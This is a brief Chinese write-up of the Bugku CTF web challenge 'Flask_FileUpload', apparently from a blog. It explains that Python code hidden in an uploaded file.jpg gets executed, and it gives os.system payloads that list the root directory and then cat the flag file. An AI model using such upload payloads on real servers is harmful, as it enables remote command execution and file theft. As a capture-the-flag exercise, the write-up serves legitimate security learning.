Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
开开心心就好1 小时前
批量提取PDF中的图片，直接导出原图IvanCodes3 小时前
Python 数据处理（十三）：JSON、CSV 与数据序列化Setsuna_F_Seiei4 小时前
前端转型 Agent 开发 05 之 Agent Hooks 与 Checkpointer（让 Agent 从全自动转变人为可掌控）Patrick在香港4 小时前
Claude 工具调用返回空：8 次失败里只有 1 次状态码不对，其余全带 200Web3&Basketball4 小时前
CRM Agent 后训练实战：3 倍更少错误AIFQuant5 小时前
ETF行情API接入踩坑记：从报错到跑通的七个问题百万蹄蹄向前冲5 小时前
风扇转了一晚上MVP专家团翻车事故默_笙5 小时前
🏛 给 AI 配一间办公室：Harness Engineering 六大模块与它的实现GPU实战笔记6 小时前
云端 Python 开发：JupyterLab 还是 VS Code Remote-SSH？linux_cfan7 小时前
videojs v10 源代码系列解读：14 · 谓词守卫：在运行时安全地调用能力